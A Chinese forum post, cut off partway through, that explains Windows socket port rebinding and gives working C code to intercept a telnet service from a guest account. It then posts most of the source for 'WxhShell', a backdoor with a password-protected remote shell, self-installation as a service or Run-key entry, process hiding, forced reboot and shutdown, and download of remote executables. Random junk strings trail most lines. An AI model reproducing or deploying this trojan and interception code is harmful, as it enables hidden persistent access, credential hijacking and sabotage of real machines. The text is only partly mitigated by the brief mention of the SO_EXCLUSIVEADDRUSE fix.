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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V6c8o2G;+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #tsP  
 HRbv%  
  saddr.sin_family = AF_INET; _!,2"dS  
XHKLl?-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V"K.s2U^  
PcZ<JJ16F$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |unvDXx-  
,/V~T<FI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pnx^a}|px  
tQT<1Q02i  
  这意味着什么?意味着可以进行如下的攻击: baTd;`Pn  
lg )xQV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WEG!;XZ  
 %rlqq*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SQU@JKi; g  
ARnq~E@1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^jS1g*nrN  
u^^jt(j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Dt7z<1-)l  
Lh-Y5(c o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SCMvq?9  
%q;y74  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V(LfFO{^>?  
ZR|s]'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u^]Gc p  
W]bytsl  
  #include AEWrrE  
  #include ~~"U[G1  
  #include 9+<A7PM1T  
  #include    ABp8PD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M e:l)8+  
  int main() !h}Vz  
  { aA>!p{/x  
  WORD wVersionRequested; y,jpd#Y  
  DWORD ret; D8E^[w!  
  WSADATA wsaData; I(&N2L$-  
  BOOL val; * &#M`,#  
  SOCKADDR_IN saddr; ume70ap}m  
  SOCKADDR_IN scaddr; T\4>4eX-  
  int err; _^RN$4.R>  
  SOCKET s; G#NbLj`h  
  SOCKET sc; v5?)J91  
  int caddsize; 8 ks\-38n1  
  HANDLE mt; !~7lY]_U  
  DWORD tid;   [GK## z'5  
  wVersionRequested = MAKEWORD( 2, 2 ); ,d.5K*?aI  
  err = WSAStartup( wVersionRequested, &wsaData ); `{yI| Wf  
  if ( err != 0 ) { k+i0@G'C(  
  printf("error!WSAStartup failed!\n"); m8b-\^eP7  
  return -1; &jg>X+;  
  } *Ev8f11i&  
  saddr.sin_family = AF_INET; $JBb] v8_  
   b"td]H3h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pV:44  
fh1-]$z`~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %Y#W#G  
  saddr.sin_port = htons(23); q`z1ht nf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fU%Mz\t  
  { $5\sV48f  
  printf("error!socket failed!\n"); ~K|ha26W  
  return -1; h5aPRPUg  
  } gth_Sz5!#  
  val = TRUE; 7rGp^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =\i%,YY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bh\2&]Di/  
  { ;Tq4!w'rH  
  printf("error!setsockopt failed!\n"); Ag(JSVY  
  return -1; \7$"i5  
  } +Qzl-eN/+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; } 21!b :a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cL#zE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $ 6r> Tc](  
&FZ~n?;hQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ) R5[a O  
  { &K=) YpT  
  ret=GetLastError(); ,PKUgL}w  
  printf("error!bind failed!\n"); v-!Spf  
  return -1; 1Zo3K<*J  
  } 5OFB[  
  listen(s,2); D^];6\=.i  
  while(1) /a-s9<  
  { 3a U4Z|f~  
  caddsize = sizeof(scaddr); !T~uxeZ/;  
  //接受连接请求 &g*1If  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @l_rB~  
  if(sc!=INVALID_SOCKET) c5Kc iTD^  
  { M#8_Qbvfk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JH2-'  
  if(mt==NULL) ]D2 d=\  
  { $|!3ks  
  printf("Thread Creat Failed!\n"); HG5E,^1n  
  break; *|L;&XM&/  
  } Y~#.otBL&  
  } w; f LnEz_  
  CloseHandle(mt); RR/?"d?&  
  } F 6+4Yy+  
  closesocket(s); l[WX77bp=  
  WSACleanup(); 2`FDY3n  
  return 0; g~=- ,j|  
  }   D7B g!*  
  DWORD WINAPI ClientThread(LPVOID lpParam) iM8l,Os]<f  
  { }^n"t>Z8  
  SOCKET ss = (SOCKET)lpParam; fP( n3Q  
  SOCKET sc; =gd~rk9  
  unsigned char buf[4096]; i{HzY[  
  SOCKADDR_IN saddr; *J4 \KU  
  long num; v.,D,6qZ  
  DWORD val; 1^WkW\9kO  
  DWORD ret; LiGECqWBa'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (J(SwL|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YXU2UIY<~  
  saddr.sin_family = AF_INET; ]yFO~4Nu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ] J|#WtS  
  saddr.sin_port = htons(23); ^ Vc(oa&;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /kO%aN  
  { RW Jyd=  
  printf("error!socket failed!\n"); 9:E.Iy  
  return -1; 4a.8n!sys  
  } LTb#1JC  
  val = 100; Oo>Uu{{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jep/%cT$w  
  { f/,8sGkX;  
  ret = GetLastError(); DsHm,dZ  
  return -1; w(y 9y9r]  
  } criNeKa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9!Fg1 h=  
  { I "R<XX  
  ret = GetLastError(); d=g,s[FMm  
  return -1; #%z@yg  
  } 7$"5qJ{s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [ zCKJR  
  { +ul.P)1J6  
  printf("error!socket connect failed!\n"); ,C'mE''x  
  closesocket(sc); `yRt?UQRS  
  closesocket(ss); es$<Vkbp  
  return -1; |Ur$H!oe?'  
  } ]<_v;Q<t  
  while(1) s|:j~>53  
  { Orlf5 {P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z?eedVV@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0o 8V8 :  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6D*x5L-1o  
  num = recv(ss,buf,4096,0); M=5hp&=  
  if(num>0) \@ N[  
  send(sc,buf,num,0); 3X`N~_+  
  else if(num==0) axkNy}ct  
  break; NV2$ >D  
  num = recv(sc,buf,4096,0); OuPfB  
  if(num>0) 5N2`e3:I  
  send(ss,buf,num,0); 'H1k  
  else if(num==0) `4qtmbj  
  break; A_.}- dzF  
  } `2G%&R,k"D  
  closesocket(ss); kNrd=s,-]D  
  closesocket(sc); ng[LSB*57Y  
  return 0 ; T&E'MB  
  } &w^:nVgl  
+OO my  
U)('}u=b  
========================================================== vC^n_  
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下边附上一个代码,,WXhSHELL Tx$bg(  
'FG@Rg (  
========================================================== `] Zil8n  
<$ ` ^  
#include "stdafx.h" ;x u&%n[6@  
A=wh&X  
#include <stdio.h> msZ 3%L  
#include <string.h> OlsD  
#include <windows.h> I-/-k.  
#include <winsock2.h> W3B:)<f  
#include <winsvc.h> p$XvVzW#<  
#include <urlmon.h> Rw!_j!  
d!4:nvKx  
#pragma comment (lib, "Ws2_32.lib") DC'L-]#<  
#pragma comment (lib, "urlmon.lib") M{XBmDfN  
Qf@ha  
#define MAX_USER   100 // 最大客户端连接数 !<0 `c  
#define BUF_SOCK   200 // sock buffer p2wDk^$  
#define KEY_BUFF   255 // 输入 buffer Gmmh&Uj  
[5MV$)"!j  
#define REBOOT     0   // 重启 Ot~buf'|  
#define SHUTDOWN   1   // 关机 %?O$xQ.<  
TA"gU8YQ  
#define DEF_PORT   5000 // 监听端口 *HQ>tvUh  
zi+NQOhR  
#define REG_LEN     16   // 注册表键长度 edfb7prfTl  
#define SVC_LEN     80   // NT服务名长度 mf gUf  
7hKfxw-X@  
// 从dll定义API AK$i0Rn;pm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }Y3*X: i7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fRcy$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j<d,7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hsZ@)[/:  
f;3k Yh^4  
// wxhshell配置信息 kSjvY&n%  
struct WSCFG { ;fm> \f  
  int ws_port;         // 监听端口 @`rC2-V  
  char ws_passstr[REG_LEN]; // 口令 uVZX53 ,g  
  int ws_autoins;       // 安装标记, 1=yes 0=no .oe\wJS6  
  char ws_regname[REG_LEN]; // 注册表键名 i[ n3ILn  
  char ws_svcname[REG_LEN]; // 服务名 }^*m0`H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tAS[T9B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VO7&<Y}{x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "1-z'TV=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oa' T$'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f2i9UZ$=e!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "lBYn2W  
na] 9-~4  
}; =O~Y6|  
Xcci)",!  
// default Wxhshell configuration b}m@2DR'|m  
struct WSCFG wscfg={DEF_PORT, VP6_}9:9   
    "xuhuanlingzhe", )bB Va^  
    1, V`"Cd?R0Z  
    "Wxhshell", d+IN-lR(  
    "Wxhshell", #9]O92t2UV  
            "WxhShell Service", < *db%{  
    "Wrsky Windows CmdShell Service", F<Z13]|  
    "Please Input Your Password: ", i dY Xv)R  
  1, rTA#4.*&  
  "http://www.wrsky.com/wxhshell.exe", _>Oc> .MB  
  "Wxhshell.exe" aj$&~-/ R  
    }; D4U<Rn6N_5  
|DXi~  
// 消息定义模块 )3)fq:[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Z$Ro/;l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E.^F:$2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *XluVochrb  
char *msg_ws_ext="\n\rExit."; 'TDp%s*;  
char *msg_ws_end="\n\rQuit."; %ERR^  
char *msg_ws_boot="\n\rReboot..."; V6r*fEhrT_  
char *msg_ws_poff="\n\rShutdown..."; ?q}:ojrs1  
char *msg_ws_down="\n\rSave to "; \|C~VU@  
vH>s2\V"  
char *msg_ws_err="\n\rErr!"; '],G!U(  
char *msg_ws_ok="\n\rOK!"; p 8lm1;  
.;%`I  
char ExeFile[MAX_PATH]; O+ J0X*&x  
int nUser = 0; /*m6-DC  
HANDLE handles[MAX_USER]; (*V:{_r  
int OsIsNt; Eyg F,>.4  
C&RZdh,$  
SERVICE_STATUS       serviceStatus; p w=o}-P{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s#)0- Zj  
G,,f' >  
// 函数声明 d+&w7/F  
int Install(void); \&^U9=uq  
int Uninstall(void); p)*x7~3e  
int DownloadFile(char *sURL, SOCKET wsh); +Al* MusS  
int Boot(int flag); y6gaoj  
void HideProc(void); U/>l>J5  
int GetOsVer(void); 3ZX#6*(}2  
int Wxhshell(SOCKET wsl); q$jwH] .  
void TalkWithClient(void *cs); BYb"[qPV  
int CmdShell(SOCKET sock); iq3TP5%i  
int StartFromService(void); [&:dPd1_  
int StartWxhshell(LPSTR lpCmdLine); c=4z+_K  
B8?j"AF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vu Ey`c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F&D ,y-CQ  
~R~MC(5N[  
// 数据结构和表定义 5O:4-} hz  
SERVICE_TABLE_ENTRY DispatchTable[] = ]nm(V  
{ OA&r8WK3  
{wscfg.ws_svcname, NTServiceMain}, :VlMszy}B3  
{NULL, NULL} E[Ao*  
}; 6'jgjWEe3&  
%H=^U8WB  
// 自我安装 M8f[ck  
int Install(void) TZa LB}4  
{ t7,**$ST  
  char svExeFile[MAX_PATH]; k~=P0";  
  HKEY key; p}|<EL}Z9  
  strcpy(svExeFile,ExeFile); H.)J?3  
>\!k~Zi  
// 如果是win9x系统,修改注册表设为自启动 ^6PKSEba  
if(!OsIsNt) { XPMvAZL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *I`Eb7 ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hj=k[t|g}  
  RegCloseKey(key); ZKVM9ofXRi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '2m"ocaf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OwLJS5r@<-  
  RegCloseKey(key); fTd":F  
  return 0; C0H@  
    } WM GiV  
  } )T'~F  
} Nd**":i$  
else { =Kt!+^\")  
UW-`k1  
// 如果是NT以上系统,安装为系统服务 ^'4I%L"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -z>m]YDH  
if (schSCManager!=0) ro18%' RRI  
{ Gc<^ b  
  SC_HANDLE schService = CreateService L:Me  
  ( ^[1Xl7)`  
  schSCManager, \d QRQL{LL  
  wscfg.ws_svcname, s~g]`/h$r  
  wscfg.ws_svcdisp, U DHMNubB  
  SERVICE_ALL_ACCESS, G+K`FUNA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0D}k ^W  
  SERVICE_AUTO_START, .zvvk  
  SERVICE_ERROR_NORMAL, g\@zQ^O?  
  svExeFile, >,n K  
  NULL, N7Kkz /  
  NULL, F& ['w-n%  
  NULL, JUTlJyx8  
  NULL, KqWO9d?w.  
  NULL Q-||A  
  ); |O[ I=!  
  if (schService!=0) 0t)5KO  
  { ]v0=jm5A  
  CloseServiceHandle(schService); K(_8oB784  
  CloseServiceHandle(schSCManager); k(_^Lq f-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @EUvx  
  strcat(svExeFile,wscfg.ws_svcname); ?nD]p!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /@6T~XY M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h{CyYsQ  
  RegCloseKey(key); .wkW<F7  
  return 0; p}q]GJ  
    } pwo @ S"  
  } Qe]aI7Ei  
  CloseServiceHandle(schSCManager); 2z9N/SyN  
} ^1X 6DH`  
} U6~79Hnt  
(o1o);AO  
return 1; K]ds2Kp&  
} v8K4u)  
X9#i!_*  
// 自我卸载 #6nuiSF  
int Uninstall(void) {$v>3FG  
{ g>_d,#F  
  HKEY key; x24&mWgU  
1"U.-I@  
if(!OsIsNt) { pYX!l:hk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b&.3uls6  
  RegDeleteValue(key,wscfg.ws_regname); EK zYL#(i  
  RegCloseKey(key); i [6oqZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .'S_9le  
  RegDeleteValue(key,wscfg.ws_regname); ^\3z$ntF  
  RegCloseKey(key); 5>rjL ;  
  return 0; 'UB"z{w%  
  } -p f9Wk  
} \`8?=_ST  
} MDfC%2Q  
else { QVWUm!  
d&%}u1 .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Yfz?:e  
if (schSCManager!=0) jYsg'Rl  
{ I =nvL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nLnzl  
  if (schService!=0) '#CYw=S+  
  { oN Rp  
  if(DeleteService(schService)!=0) { &p.7SPQ8/  
  CloseServiceHandle(schService); )Z63 cr/  
  CloseServiceHandle(schSCManager); T0K*!j}O  
  return 0; p.!p6ve){  
  } \w2X.2b.F  
  CloseServiceHandle(schService); {e83 A /{  
  } 4m6%HV8{}[  
  CloseServiceHandle(schSCManager); ~lH2# u>g  
} =p#:v  
} ie<m)  
Ve t<,;Te  
return 1; Lq{/r+tt/  
} _"- ,ia[D  
D~@lpcI  
// 从指定url下载文件 !-q)9K?  
int DownloadFile(char *sURL, SOCKET wsh) q8 Rep  
{ fnudy% oo  
  HRESULT hr; S?# 'Y*h  
char seps[]= "/"; ib~EQ?u{  
char *token; gBo~NLrf  
char *file; @ jD#Tn-*  
char myURL[MAX_PATH]; pNc4o@-  
char myFILE[MAX_PATH]; >~@ABLp 6  
}~! D]/B  
strcpy(myURL,sURL); vf['$um  
  token=strtok(myURL,seps); $TavvO%#  
  while(token!=NULL) 'o-J)+oa  
  { 4 zipgw  
    file=token; s7:w>,v/  
  token=strtok(NULL,seps); ]VK9d;0D  
  } xO;Qr.3PX  
N#7_)S[@0l  
GetCurrentDirectory(MAX_PATH,myFILE); PsI{y&.  
strcat(myFILE, "\\"); wbh^ZMQ  
strcat(myFILE, file); seNH/pRb  
  send(wsh,myFILE,strlen(myFILE),0); W29GM -,K  
send(wsh,"...",3,0); @D@'S:3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2w /qH4  
  if(hr==S_OK) c/`Rv{ *'o  
return 0; mv1|oFVW  
else Cj# ?Z7}z  
return 1; :w:ql/?X  
[3io6XG x@  
} V-z F'KI[  
:*)b<:4  
// 系统电源模块 n]bxG8~t  
int Boot(int flag) Ct}rj-L<i  
{ 3E:+DF-Z\  
  HANDLE hToken; WvWZzlw  
  TOKEN_PRIVILEGES tkp; a,\GOy(q{  
+(vL ~  
  if(OsIsNt) { [ jgC`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v QDkZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u 9%AK g}~  
    tkp.PrivilegeCount = 1; &Ef6'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |~YhN'OJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6G>bZ+  
if(flag==REBOOT) { 6>- Gi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +g8uV hC  
  return 0; 8'Q1'yc  
} -/J2;AkGH  
else { LQ4F/[1}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rOXh?r  
  return 0; $ 7uxReFZR  
} S-G#+ Ue2  
  } Z n]e2  
  else { szD BfGd%j  
if(flag==REBOOT) { 8Nxyc>8K~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *G;D u`;  
  return 0; dV+GWJNNE  
} W^dRA xVX  
else { (JeRJ4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _ +A$6l  
  return 0; K@;ls  
} iuWw(dJk  
} <zF/at  
b ;t b&o  
return 1; q|.K& @_'K  
} gBXJ/BW$y  
\|Ya*8V  
// win9x进程隐藏模块 u^&,~n@n7  
void HideProc(void) 0 +"P 1/  
{ 9NcC.}#-5  
R,[+9U|4V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `jH0FJQ  
  if ( hKernel != NULL ) wfc+E9E  
  { ru1FJ{n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RaY=~g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s h^&3}  
    FreeLibrary(hKernel); 5 }F6s  
  } >`+-Yi$(\  
407;M%?'A  
return; aW#_"Y}v'  
} h*?/[XY  
t^@4n&Dg  
// 获取操作系统版本 0Kenyn4?  
int GetOsVer(void) %TRH,-@3h  
{ n"Q fW~U  
  OSVERSIONINFO winfo; [:C!g#o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xu&4|$wB+  
  GetVersionEx(&winfo); MA5BTq<&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?3Dsz  
  return 1; vCtag]H2@  
  else 6d|%8.q1  
  return 0; zj9aaZ}  
} N^&T5cAC  
NuKx{y}P  
// 客户端句柄模块 O{`r.H1',  
int Wxhshell(SOCKET wsl) CF+:9PG  
{ .=-K7.X.)  
  SOCKET wsh; @X*r5hjc  
  struct sockaddr_in client; L~xzfO  
  DWORD myID; bLi>jE.%.  
p3(&9~ s  
  while(nUser<MAX_USER) e8<[2J)P&  
{ 5T;,wQ<  
  int nSize=sizeof(client); BFyVq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $2\k| @)s  
  if(wsh==INVALID_SOCKET) return 1; YC0FXNV  
ij~023$DTt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2d Px s:8&  
if(handles[nUser]==0) "Crm\UI6  
  closesocket(wsh); dLI`\e<r&[  
else 3xz{[5<p  
  nUser++; cYMlc wS  
  } :N([s(}!$2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "Hw%@  
Bn_@R`  
  return 0; _jCjq   
} +A,t9 3:k  
L(!mm  
// 关闭 socket ^atBf![  
void CloseIt(SOCKET wsh) 27Ve$Q8]v  
{ v J.sa&\H  
closesocket(wsh); NP*M#3$[  
nUser--; =!%+ sem  
ExitThread(0); I7nZ9n|KU  
} Pkw ` o #  
{|J'd+  
// 客户端请求句柄 E64d6z^7u  
void TalkWithClient(void *cs) /^z5;aG  
{ wFJ?u?b0Q  
s8<)lO<SV.  
  SOCKET wsh=(SOCKET)cs; x=(cQmQ  
  char pwd[SVC_LEN]; .\> I-  
  char cmd[KEY_BUFF]; e.IKmH]z  
char chr[1]; =K2mR}n\;  
int i,j; #7A_p8  
hup< U+p  
  while (nUser < MAX_USER) { zbDM+;  
' Z}/3 dp  
if(wscfg.ws_passstr) { Dj9).lgc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q={\|j$X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]}&f<X  
  //ZeroMemory(pwd,KEY_BUFF); $lMEZt8A  
      i=0; r%/*,lLO  
  while(i<SVC_LEN) { H]7;O M/g  
3yfq*\_uXw  
  // 设置超时 a jCx"J  
  fd_set FdRead; yS[Z%]bvU  
  struct timeval TimeOut; c{u~=24;%#  
  FD_ZERO(&FdRead); 4F+n`{~  
  FD_SET(wsh,&FdRead); DEw_dOJ(  
  TimeOut.tv_sec=8; kt;| $  
  TimeOut.tv_usec=0; R)w|bpW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (fjAsbT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ] 7, mo  
Q7 Clr{&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bNG;`VZ%  
  pwd=chr[0]; $(6 .K-D  
  if(chr[0]==0xd || chr[0]==0xa) { x`vIY-DS  
  pwd=0; *SX'Or,  
  break; kMHupROj  
  } H0 YxPk)  
  i++; kgvB80$4  
    } I~$LIdzw  
,/;mK_6  
  // 如果是非法用户,关闭 socket U8z$=W o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I%NPc4p  
} |6pNe T[  
-m:i~^ u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d4#Q<!r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I9`R L Sn  
Oop;Y^gG}  
while(1) { KGclo-,  
Uk02VuS  
  ZeroMemory(cmd,KEY_BUFF); n#G I& U  
o[bG(qHZ  
      // 自动支持客户端 telnet标准   wr=h=vXU[  
  j=0; zOpl#%"  
  while(j<KEY_BUFF) { L$GhM!c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yVyh'd:Ik  
  cmd[j]=chr[0]; uLsGb=m%b  
  if(chr[0]==0xa || chr[0]==0xd) { ,HEx9*E/s  
  cmd[j]=0; s9<fPv0w  
  break; U3+{!}gn  
  } ~O)Uz|  
  j++; $SQ8,Y,  
    } :Gh* d)  
rdsm /^,s  
  // 下载文件 $Gs&' y R  
  if(strstr(cmd,"http://")) { ->oQ,ezB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HN\Zrb  
  if(DownloadFile(cmd,wsh)) >o=3RB=Fh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _be*B+?2t  
  else W%f:+s}cI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s7C oUd2  
  } Hut au^l  
  else { zn T85#]\@  
U n#7@8,  
    switch(cmd[0]) { HM])m>KeT  
  mAFqA  
  // 帮助 ,uD F#xjl,  
  case '?': { 0KyujU?sF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A / N$  
    break; qwu++9BM  
  } ^A^,/3  
  // 安装 `~hAXnQK=  
  case 'i': { 8x jJ  
    if(Install()) jGzs; bE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *J!oV0#1  
    else \`#;J?Y|`F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,epKt(vl  
    break; {4 !%'~  
    } 22\Buk}?  
  // 卸载 FDaHsiI:  
  case 'r': { C+Wb_  
    if(Uninstall()) "aN<3b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^lT$D8  
    else aW7{T6.,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )^uLZMNaI  
    break; $jb0/  
    } N:!XtYA<  
  // 显示 wxhshell 所在路径 BJk:h-m [  
  case 'p': { 0}qij  
    char svExeFile[MAX_PATH]; />XfK,c-  
    strcpy(svExeFile,"\n\r"); Z&=K+P  
      strcat(svExeFile,ExeFile); BBw`8!  
        send(wsh,svExeFile,strlen(svExeFile),0); J.:"yK""  
    break; .Lo$uKsW$l  
    } I]>-~_  
  // 重启 YH^_d3A;  
  case 'b': { d3T|N\(DL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -vI?b#  
    if(Boot(REBOOT)) .b]g# Du=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tk9*@kqv  
    else { Phl't~k  
    closesocket(wsh); j-ugsV`2=*  
    ExitThread(0); tnbaU%;|J  
    } L1`^~m|  
    break; 0/<}.Z]  
    } ?L#C'Lz2+  
  // 关机 cD8.rRyD  
  case 'd': { Q{!lLka  
